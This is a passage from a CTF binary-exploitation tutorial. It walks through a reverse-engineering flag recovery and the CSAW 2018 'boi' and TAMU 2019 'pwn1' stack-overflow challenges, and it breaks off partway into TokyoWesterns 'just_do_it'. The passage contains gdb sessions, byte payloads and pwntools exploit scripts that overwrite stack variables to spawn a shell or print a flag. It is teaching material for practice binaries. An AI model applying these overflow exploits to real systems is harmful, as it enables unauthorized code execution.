long transformFunc(char input)

{
  long i;
 
  i = 0;
  while ((i != -1 && ((int)input != *(int *)(&lookup + i * 4)))) {
    if ((int)input < *(int *)(&lookup + i * 4)) {
      i = i * 2 + 1;
    }
    else {
      if (*(int *)(&lookup + i * 4) < (int)input) {
        i = (i + 1) * 2;
      }
    }
  }
  return i;
}

Here we can see that it essentially just takes a character, and looks at what it's index is in the lookup bss array. The characters are stored at offsets of 4 bytes. Let's take a look at the array:

                             lookup                                          XREF[6]:     transformFunc:00100820(*),
                                                                                          transformFunc:00100827(R),
                                                                                          transformFunc:00100844(*),
                                                                                          transformFunc:0010084b(R),
                                                                                          transformFunc:00100873(*),
                                                                                          transformFunc:0010087a(R)  
        00301020 77              ??         77h    w
        00301021 00              ??         00h
        00301022 00              ??         00h
        00301023 00              ??         00h
        00301024 66              ??         66h    f
        00301025 00              ??         00h
        00301026 00              ??         00h
        00301027 00              ??         00h
        00301028 7b              ??         7Bh    {
        00301029 00              ??         00h
        0030102a 00              ??         00h
        0030102b 00              ??         00h
        0030102c 5f              ??         5Fh    _
        0030102d 00              ??         00h
        0030102e 00              ??         00h
        0030102f 00              ??         00h
        00301030 6e              ??         6Eh    n
        00301031 00              ??         00h
        00301032 00              ??         00h
        00301033 00              ??         00h
        00301034 79              ??         79h    y
        00301035 00              ??         00h
        00301036 00              ??         00h
        00301037 00              ??         00h
        00301038 7d              ??         7Dh    }
        00301039 00              ??         00h
        0030103a 00              ??         00h
        0030103b 00              ??         00h
        0030103c ff              ??         FFh
        0030103d ff              ??         FFh
        0030103e ff              ??         FFh
        0030103f ff              ??         FFh
        00301040 62              ??         62h    b
        00301041 00              ??         00h
        00301042 00              ??         00h
        00301043 00              ??         00h
        00301044 6c              ??         6Ch    l
        00301045 00              ??         00h
        00301046 00              ??         00h
        00301047 00              ??         00h
        00301048 72              ??         72h    r
        00301049 00              ??         00h
        0030104a 00              ??         00h
        0030104b 00              ??         00h
        0030104c ff              ??         FFh
        0030104d ff              ??         FFh
        0030104e ff              ??         FFh
        0030104f ff              ??         FFh
        00301050 ff              ??         FFh
        00301051 ff              ??         FFh
        00301052 ff              ??         FFh
        00301053 ff              ??         FFh
        00301054 ff              ??         FFh
        00301055 ff              ??         FFh
        00301056 ff              ??         FFh
        00301057 ff              ??         FFh
        00301058 ff              ??         FFh
        00301059 ff              ??         FFh
        0030105a ff              ??         FFh
        0030105b ff              ??         FFh
        0030105c ff              ??         FFh
        0030105d ff              ??         FFh
        0030105e ff              ??         FFh
        0030105f ff              ??         FFh
        00301060 ff              ??         FFh
        00301061 ff              ??         FFh
        00301062 ff              ??         FFh
        00301063 ff              ??         FFh
        00301064 61              ??         61h    a
        00301065 00              ??         00h
        00301066 00              ??         00h
        00301067 00              ??         00h
        00301068 65              ??         65h    e
        00301069 00              ??         00h
        0030106a 00              ??         00h
        0030106b 00              ??         00h
        0030106c 69              ??         69h    i

Here we can see that the character f is stored at 00301024. This will output 1 since ((0x00301024 - 0x00301020) / 4) = 1 (0x00301020 is the start of the array). This also corresponds to the first byte of the desiredOutput array, since it is 1. The second byte is 0x9, so the character that should correspond to it is (0x00301020 + (4*9)) = 0x301044, and we can see that the character there is l:

        00301044 6c              ??         6Ch    l
        00301045 00              ??         00h
        00301046 00              ??         00h
        00301047 00              ??         00h
        00301048 72              ??         72h    r

So the second character is l. Moving on through the rest of the list, we can find the full string flag{we_beleaf_in_your_re_future}:

$    ./beleaf
Enter the flag
>>> flag{we_beleaf_in_your_re_future}
Correct!

Just like that, we solved the challenge!

Csaw 2018 Quals Boi

Let's take a look at the binary:

$    file boi
boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped
$    pwn checksec boi [*] '/Hackery/pod/modules/bof_variable/csaw18_boi/boi'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./boi
Are you a big boiiiii??
15935728
Mon Jun 10 22:07:51 EDT 2019

So we can see that we are dealing with a 64 bit binary with a Stack Canary and Non-Executable stack (those are two binary mitigations that will be discussed later). When we run the binary, we see that we are prompted for input (which we gave it 15935728). It then provided us with the time and the date. When we look at the main function in Ghidra we see this:

undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined8 input;
  undefined8 local_30;
  undefined4 uStack40;
  int target;
  long stackCanary;
 
  stackCanary = *(long *)(in_FS_OFFSET + 0x28);
  input = 0;
  local_30 = 0;
  uStack40 = 0;
  target = -0x21524111;
  puts("Are you a big boiiiii??");
  read(0,&input,0x18);
  if (target == -0x350c4512) {
    run_cmd("/bin/bash");
  }
  else {
    run_cmd("/bin/date");
  }
  if (stackCanary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

So we can see the program prints the string Are you a big boiiiii?? with puts. Then it proceeds to scan in 0x18 bytes worth of data into input. In addition to that we can see that the target integer is initialized before the read call, then compared to a value after the read call. Looking at the decompiled code shows us the constants it is assigned and compared to as signed integers, however if we look at the assembly code we can see the constants as unsigned hex integers:

We can see that the value that it is being assigned is 0xdeadbeef:

        0040067e c7 45 e4        MOV        dword ptr [RBP + target],0xdeadbeef
                 ef be ad de

We can also see that the value that it is being compared to is 0xcaf3baee:

        004006a5 8b 45 e4        MOV        EAX,dword ptr [RBP + target]
        004006a8 3d ee ba        CMP        EAX,0xcaf3baee
                 f3 ca

Now to see what our input can reach, we can look at the stack layout in Ghidra. To see this you can just double click on any of the variables where they are declared:

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined8 __stdcall main(void)
             undefined8        RAX:8          <RETURN>
             undefined8        Stack[-0x10]:8 local_10                                XREF[2]:     00400659(W),
                                                                                                   004006ca(R)  
             int               Stack[-0x24]:4 target                                  XREF[2]:     0040067e(W),
                                                                                                   004006a5(R)  
             undefined8        Stack[-0x30]:8 local_30                                XREF[1]:     00400667(W)  
             undefined8        Stack[-0x38]:8 input                                   XREF[2]:     0040065f(W),
                                                                                                   0040068f(*)  
             undefined4        Stack[-0x3c]:4 local_3c                                XREF[1]:     00400649(W)  
             undefined8        Stack[-0x48]:8 local_48                                XREF[1]:     0040064c(W)  
             long              HASH:5f6c2e9   stackCanary
                             main                                            XREF[5]:     Entry Point(*),
                                                                                          _start:0040054d(*),
                                                                                          _start:0040054d(*), 004007b4,
                                                                                          00400868(*)  
        00400641 55              PUSH       RBP

Here we can see that according to Ghidra input is stored at offset -0x38. We can see that target is stored at offset -0x24. This means that there is a 0x14 byte difference between the two values. Sice we can write 0x18 bytes, that means we can fill up the 0x14 byte difference and overwrite four bytes (0x18 - 0x14 = 4) of target, and since integers are four bytes we can overwrite. Here the bug is it is letting us write 0x18 bytes worth of data to a 0x14 byte space, and 0x4 bytes of data are overflowing into the target variable which gives us the ability to change what it is. Taking a look at the memory layout in gdb gives us a better description. We set a breakpoint for directly after the read call and see what the memory looks like:

gdb ./boi
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./boi...(no debugging symbols found)...done.
gef➤  b *0x4006a5
Breakpoint 1 at 0x4006a5
gef➤  r
Starting program: /Hackery/pod/modules/bof_variable/csaw18_boi/boi
Are you a big boiiiii??
15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x9               
$rbx   : 0x0               
$rcx   : 0x00007ffff7af4081  →  0x5777fffff0003d48 ("H="?)
$rdx   : 0x18              
$rsp   : 0x00007fffffffde70  →  0x00007fffffffdf98  →  0x00007fffffffe2d9  →  "/Hackery/pod/modules/bof_variable/csaw18_boi/boi"
$rbp   : 0x00007fffffffdeb0  →  0x00000000004006e0  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007fffffffde80  →  "15935728"
$rdi   : 0x0               
$rip   : 0x00000000004006a5  →  <main+100> mov eax, DWORD PTR [rbp-0x1c]
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x3               
$r11   : 0x246             
$r12   : 0x0000000000400530  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffdf90  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde70│+0x0000: 0x00007fffffffdf98  →  0x00007fffffffe2d9  →  "/Hackery/pod/modules/bof_variable/csaw18_boi/boi"     ← $rsp
0x00007fffffffde78│+0x0008: 0x000000010040072d
0x00007fffffffde80│+0x0010: "15935728"     ← $rsi
0x00007fffffffde88│+0x0018: 0x000000000000000a
0x00007fffffffde90│+0x0020: 0xdeadbeef00000000
0x00007fffffffde98│+0x0028: 0x0000000000000000
0x00007fffffffdea0│+0x0030: 0x00007fffffffdf90  →  0x0000000000000001
0x00007fffffffdea8│+0x0038: 0xd268c12ac770ee00
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400698 <main+87>        mov    rsi, rax
     0x40069b <main+90>        mov    edi, 0x0
     0x4006a0 <main+95>        call   0x400500 <read@plt>
 →   0x4006a5 <main+100>       mov    eax, DWORD PTR [rbp-0x1c]
     0x4006a8 <main+103>       cmp    eax, 0xcaf3baee
     0x4006ad <main+108>       jne    0x4006bb <main+122>
     0x4006af <main+110>       mov    edi, 0x40077c
     0x4006b4 <main+115>       call   0x400626 <run_cmd>
     0x4006b9 <main+120>       jmp    0x4006c5 <main+132>
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "boi", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a5 → main()
────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00000000004006a5 in main ()
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffde80 - 0x7fffffffde88  →   "15935728"
gef➤  x/10g 0x7fffffffde80
0x7fffffffde80:    0x3832373533393531    0xa
0x7fffffffde90:    0xdeadbeef00000000    0x0
0x7fffffffdea0:    0x7fffffffdf90    0xd268c12ac770ee00
0x7fffffffdeb0:    0x4006e0    0x7ffff7a05b97
0x7fffffffdec0:    0x0    0x7fffffffdf98

Here we can see that our input 15935728 is 0x14 bytes away. When we give the input 00000000000000000000 + p32(0xcaf3baee). We need the hex address to be in least endian (least significant byte first) because that is how the elf will read in data, so we have to pack it that way in order for the binary to read it properly:

$    python -c 'print "0"*0x14 + "\xee\xba\xf3\xca"' > input
$    gdb ./boi
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./boi...(no debugging symbols found)...done.
gef➤  b *0x4006a5
Breakpoint 1 at 0x4006a5
gef➤  r < input
Starting program: /Hackery/pod/modules/bof_variable/csaw18_boi/boi < input
Are you a big boiiiii??
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x18              
$rbx   : 0x0               
$rcx   : 0x00007ffff7af4081  →  0x5777fffff0003d48 ("H="?)
$rdx   : 0x18              
$rsp   : 0x00007fffffffde70  →  0x00007fffffffdf98  →  0x00007fffffffe2d9  →  "/Hackery/pod/modules/bof_variable/csaw18_boi/boi"
$rbp   : 0x00007fffffffdeb0  →  0x00000000004006e0  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007fffffffde80  →  0x3030303030303030 ("00000000"?)
$rdi   : 0x0               
$rip   : 0x00000000004006a5  →  <main+100> mov eax, DWORD PTR [rbp-0x1c]
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x3               
$r11   : 0x246             
$r12   : 0x0000000000400530  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffdf90  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde70│+0x0000: 0x00007fffffffdf98  →  0x00007fffffffe2d9  →  "/Hackery/pod/modules/bof_variable/csaw18_boi/boi"     ← $rsp
0x00007fffffffde78│+0x0008: 0x000000010040072d
0x00007fffffffde80│+0x0010: 0x3030303030303030     ← $rsi
0x00007fffffffde88│+0x0018: 0x3030303030303030
0x00007fffffffde90│+0x0020: 0xcaf3baee30303030
0x00007fffffffde98│+0x0028: 0x0000000000000000
0x00007fffffffdea0│+0x0030: 0x00007fffffffdf90  →  0x0000000000000001
0x00007fffffffdea8│+0x0038: 0x8c0a95a9bb51c400
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400698 <main+87>        mov    rsi, rax
     0x40069b <main+90>        mov    edi, 0x0
     0x4006a0 <main+95>        call   0x400500 <read@plt>
 →   0x4006a5 <main+100>       mov    eax, DWORD PTR [rbp-0x1c]
     0x4006a8 <main+103>       cmp    eax, 0xcaf3baee
     0x4006ad <main+108>       jne    0x4006bb <main+122>
     0x4006af <main+110>       mov    edi, 0x40077c
     0x4006b4 <main+115>       call   0x400626 <run_cmd>
     0x4006b9 <main+120>       jmp    0x4006c5 <main+132>
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "boi", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a5 → main()
────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00000000004006a5 in main ()
gef➤  search-pattern 0000000000
[+] Searching '0000000000' in memory
[+] In '/lib/x86_64-linux-gnu/libc-2.27.so'(0x7ffff79e4000-0x7ffff7bcb000), permission=r-x
  0x7ffff7ba0030 - 0x7ffff7ba003a  →   "0000000000[...]"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffde80 - 0x7fffffffde8a  →   "0000000000[...]"
  0x7fffffffde8a - 0x7fffffffde94  →   "0000000000[...]"
gef➤  x/10g 0x7fffffffde80
0x7fffffffde80:    0x3030303030303030    0x3030303030303030
0x7fffffffde90:    0xcaf3baee30303030    0x0
0x7fffffffdea0:    0x7fffffffdf90    0x8c0a95a9bb51c400
0x7fffffffdeb0:    0x4006e0    0x7ffff7a05b97
0x7fffffffdec0:    0x0    0x7fffffffdf98

Here we can see that we have overwritten the integer with the value 0xcaf3baee. When we continue onto the cmp instruction, we can see that we will pass the check:

gef➤  b *0x4006a8
Breakpoint 2 at 0x4006a8
gef➤  c
Continuing.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0xcaf3baee        
$rbx   : 0x0               
$rcx   : 0x00007ffff7af4081  →  0x5777fffff0003d48 ("H="?)
$rdx   : 0x18              
$rsp   : 0x00007fffffffde70  →  0x00007fffffffdf98  →  0x00007fffffffe2d9  →  "/Hackery/pod/modules/bof_variable/csaw18_boi/boi"
$rbp   : 0x00007fffffffdeb0  →  0x00000000004006e0  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007fffffffde80  →  0x3030303030303030 ("00000000"?)
$rdi   : 0x0               
$rip   : 0x00000000004006a8  →  <main+103> cmp eax, 0xcaf3baee
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x3               
$r11   : 0x246             
$r12   : 0x0000000000400530  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffdf90  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde70│+0x0000: 0x00007fffffffdf98  →  0x00007fffffffe2d9  →  "/Hackery/pod/modules/bof_variable/csaw18_boi/boi"     ← $rsp
0x00007fffffffde78│+0x0008: 0x000000010040072d
0x00007fffffffde80│+0x0010: 0x3030303030303030     ← $rsi
0x00007fffffffde88│+0x0018: 0x3030303030303030
0x00007fffffffde90│+0x0020: 0xcaf3baee30303030
0x00007fffffffde98│+0x0028: 0x0000000000000000
0x00007fffffffdea0│+0x0030: 0x00007fffffffdf90  →  0x0000000000000001
0x00007fffffffdea8│+0x0038: 0x8c0a95a9bb51c400
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40069b <main+90>        mov    edi, 0x0
     0x4006a0 <main+95>        call   0x400500 <read@plt>
     0x4006a5 <main+100>       mov    eax, DWORD PTR [rbp-0x1c]
 →   0x4006a8 <main+103>       cmp    eax, 0xcaf3baee
     0x4006ad <main+108>       jne    0x4006bb <main+122>
     0x4006af <main+110>       mov    edi, 0x40077c
     0x4006b4 <main+115>       call   0x400626 <run_cmd>
     0x4006b9 <main+120>       jmp    0x4006c5 <main+132>
     0x4006bb <main+122>       mov    edi, 0x400786
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "boi", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a8 → main()
────────────────────────────────────────────────────────────────────────────────

Breakpoint 2, 0x00000000004006a8 in main ()
gef➤  p $eax
$1 = 0xcaf3baee

With all of that, we can write an exploit for this challenge:

# Import pwntools
from pwn import *

# Establish the target process
target = process('./boi')

# Make the payload
# 0x14 bytes of filler data to fill the gap between the start of our input
# and the target int
# 0x4 byte int we will overwrite target with
payload = "0"*0x14 + p32(0xcaf3baee)

# Send the payload
target.send(payload)

# Drop to an interactive shell so we can interact with our shell
target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './boi': pid 9075
[*] Switching to interactive mode
Are you a big boiiiii??
$ w
 23:37:29 up  3:37,  1 user,  load average: 0.81, 0.80, 0.85
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               20:00   ?xdm?  22:41   0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
boi  exploit.py  input    Readme.md

Just like that, we popped a shell!

Tamu19 pwn1

Let's take a look at the binary:

$    file pwn1
pwn1: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped
$    pwn checksec pwn1
[*] '/Hackery/pod/modules/bof_variable/tamu19_pwn1/pwn1'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
15935728
I don't know that! Auuuuuuuugh!

So we can see that it is a 32 bit binary with RELRO, a Non-Executable Stack, and PIE (those binary mitigations will be discussed later). We can see that when we run the binary, it prompts us for input, and prints some text. When we take a look at the main function in Ghidra we see this:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
/* WARNING: Removing unreachable block (ram,0x000108bb) */

undefined4 main(void)

{
  int strcmpResult0;
  int strcmpResult1;
  char input [43];
 
  setvbuf(stdout,(char *)0x2,0,0);
  puts(
      "Stop! Who would cross the Bridge of Death must answer me these questions three, ere theother side he see."
      );
  puts("What... is your name?");
  fgets(input,0x2b,stdin);
  strcmpResult0 = strcmp(input,"Sir Lancelot of Camelot\n");
  if (strcmpResult0 != 0) {
    puts("I don\'t know that! Auuuuuuuugh!");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("What... is your quest?");
  fgets(input,0x2b,stdin);
  strcmpResult1 = strcmp(input,"To seek the Holy Grail.\n");
  if (strcmpResult1 == 0) {
    puts("What... is my secret?");
    gets(input);
    puts("I don\'t know that! Auuuuuuuugh!");
    return 0;
  }
  puts("I don\'t know that! Auuuuuuuugh!");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

So right off the back, we can see we are dealing with a reference to one of the greatest movies ever (Monty Python and the Holy Grail). We can see that it will scan in input into input using fgets, then compares our input with strcmp. It does this twice. The first time it checks for the string Sir Lancelot of Camelot\n and the second time it checks for the string To seek the Holy Grail.\n. If we don't pass the check the first time, it will print I don\'t know that! Auuuuuuuugh! and exit. For the second check if we pass it, the code will call the function gets with input as an argument. The function gets will scan in data until it either gets a newline character or an EOF. As a result on paper there is no limit to how much it can scan into memory. Since the are it is scanning into is finite, we will be able to overflow it and start overwriting subsequent things in memory.

Also looking at the assembly code for around the gets call, we see something interesting that the decompiled code doesn't show us:

        000108aa e8 71 fc        CALL       gets                                             char * gets(char * __s)
                 ff ff
        000108af 83 c4 10        ADD        ESP,0x10
        000108b2 81 7d f0        CMP        dword ptr [EBP + local_18],0xdea110c8
                 c8 10 a1 de
        000108b9 75 07           JNZ        LAB_000108c2
        000108bb e8 3d fe        CALL       print_flag                                       undefined print_flag()
                 ff ff

So we can see that it compares the contents of local_18 to 0xdea110c8, and if it is equal (which would mean it's zero) it calls the print_flag function. Looking at the decompiled code for print_flag, we see that it prints the contents of flag.txt:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void print_flag(void)

{
  FILE *flagFile;
  int flag;
 
  puts("Right. Off you go.");
  flagFile = fopen("flag.txt","r");
  while( true ) {
    flag = _IO_getc((_IO_FILE *)flagFile);
    if ((char)flag == -1) break;
    putchar((int)(char)flag);
  }
  putchar(10);
  return;
}

So if we can use the gets call to overwrite the contents of local_18 to 0xdea110c8, we should get the flag (if you're running this locally you will need to have a copy of flag.txt that is in the same directory as the binary). So in order to reach the gets call, we will need to send the program the string Sir Lancelot of Camelot\n and To seek the Holy Grail.\n. Looking at the stack layout in Ghidra (we can see it by double clicking on any of the variables in the variable declarations for the main function) shows us the offset between the start of our input and local_18:

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined main(undefined1 param_1)
             undefined         AL:1           <RETURN>                                XREF[2]:     00010807(W),
                                                                                                   00010869(W)  
             undefined1        Stack[0x4]:1   param_1                                 XREF[1]:     00010779(*)  
             int               EAX:4          strcmpResult0                           XREF[1]:     00010807(W)  
             int               EAX:4          strcmpResult1                           XREF[1]:     00010869(W)  
             undefined4        Stack[0x0]:4   local_res0                              XREF[1]:     00010780(R)  
             undefined1        Stack[-0x10]:1 local_10                                XREF[1]:     000108d9(*)  
             undefined4        Stack[-0x14]:4 local_14                                XREF[1]:     000107ad(W)  
             undefined4        Stack[-0x18]:4 local_18                                XREF[2]:     000107b4(W),
                                                                                                   000108b2(R)  
             char[43]          Stack[-0x43]   input                                   XREF[5]:     000107ed(*),
                                                                                                   00010803(*),
                                                                                                   0001084f(*),
                                                                                                   00010865(*),
                                                                                                   000108a6(*)  
                             main                                            XREF[5]:     Entry Point(*),
                                                                                          _start:000105e6(*), 00010ab8,
                                                                                          00010b4c(*), 00011ff8(*)  
        00010779 8d 4c 24 04     LEA        ECX=>param_1,[ESP + 0x4]

So we can see that input starts at offset -0x43. We see that local_18 starts at offset -0x18. This gives us an offset of 0x43 - 0x18 = 0x2b between the start of our input and local_18. Then we can just overflow it (write more data to a region than it can hold, so it spills over and starts overwriting subsequent things in memory) and overwrite local_18 with 0xdea110c8. Putting it all together we get the following exploit:

# Import pwntools
from pwn import *

# Establish the target process
target = process('./pwn1')

# Make the payload
payload = ""
payload += "0"*0x2b # Padding to `local_18`
payload += p32(0xdea110c8) # the value we will overwrite local_18 with, in little endian

# Send the strings to reach the gets call
target.sendline("Sir Lancelot of Camelot")
target.sendline("To seek the Holy Grail.")

# Send the payload
target.sendline(payload)

target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './pwn1': pid 12060
[*] Switching to interactive mode
[*] Process './pwn1' stopped with exit code 0 (pid 12060)
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
What... is your quest?
What... is my secret?
Right. Off you go.
flag{g0ttem_b0yz}

[*] Got EOF while reading in interactive
$
[*] Got EOF while sending in interactive

Just like that, we got the flag!

Just Do It!

This was originally a pwn challenge from the TokyoWesterns 2017 ctf.

Let's take a look at the binary:

$    file just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped
$    pwn checksec just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
[*] '/Hackery/west/doit/just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

So we can see that it is a 32 bit binary, with a non executable stack. Let's try to run it.

$    ./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
file open error.
: No such file or directory

So it is complaining about a file opening error, probably trying to open a file that isn't there. Let's look at the main function in Ghidra:

undefined4 main(void)

{
  char local_EAX_154;
  FILE *flagFile;
  int cmp;
  char vulnBuf [16];
  FILE *flagHandle;
  char *target;
 
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  target = failed_message;
  flagFile = fopen("flag.txt","r");
  if (flagFile == (FILE *)0x0) {
    perror("file open error.\n");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  _local_EAX_154 = fgets(flag,0x30,flagFile);
  if (_local_EAX_154 == (char *)0x0) {
    perror("file read error.\n");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Welcome my secret service. Do you know the password?");
  puts("Input the password.");
  _local_EAX_154 = fgets(vulnBuf,0x20,stdin);
  if (_local_EAX_154 == (char *)0x0) {
    perror("input error.\n");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  cmp = strcmp(vulnBuf,PASSWORD);
  if (cmp == 0) {
    target = success_message;
  }
  puts(target);
  return 0;
}

So we can see that the file it is trying to open is flag.txt. We can also see that this binary will essentially prompt you for a password, and if it is the right password it will print in a logged in message. If not it will print an authentication error. Let's see what the value of PASSWORD is, so we can know what we need to set our input equal to to pass the check:

                             PASSWORD                                        XREF[2]:     Entry Point(*), main:080486d0(R)  
        0804a03c c8 87 04 08     addr       s_P@SSW0RD_080487c8                              = "P@SSW0RD"

So we can see that the string it is checking for is P@SSW0RD. Now since our input is being scanned in through an fgets call, a newline character 0x0a will be appended to the end. So in order to pass the check we will need to put a null byte after P@SSW0RD.

$    python -c 'print "P@SSW0RD" + "\x00"' | ./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
Welcome my secret service. Do you know the password?
Input the password.
Correct Password, Welcome!

So we passed the check, however that doesn't solve the challenge. We can see that with the fgets call, we can input 32 bytes worth of data into input. Let's see how many bytes input can hold:

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined main(undefined1 param_1)
             undefined         AL:1           <RETURN>                                XREF[1]:     0804861d(W)  
             undefined1        Stack[0x4]:1   param_1                                 XREF[1]:     080485bb(*)  
             FILE *            EAX:4          flagFile                                XREF[2]:     0804861d(W),
                                                                                                   08048655(W)  
             char              AL:1           local_EAX_154                           XREF[2]:     08048655(W),
                                                                                                   080486dd(W)  
             int               EAX:4          cmp                                     XREF[1]:     080486dd(W)  
             undefined4        Stack[0x0]:4   local_res0                              XREF[1]:     080485c2(R)  
             undefined4        Stack[-0xc]:4  local_c                                 XREF[1]:     08048704(R)  
             char *            Stack[-0x14]:4 target                                  XREF[2]:     0804860d(W),
                                                                                                   080486ee(W)  
             FILE *            Stack[-0x18]:4 flagHandle                              XREF[3]:     08048625(W),
                                                                                                   08048628(R),
                                                                                                   0804864b(R)  
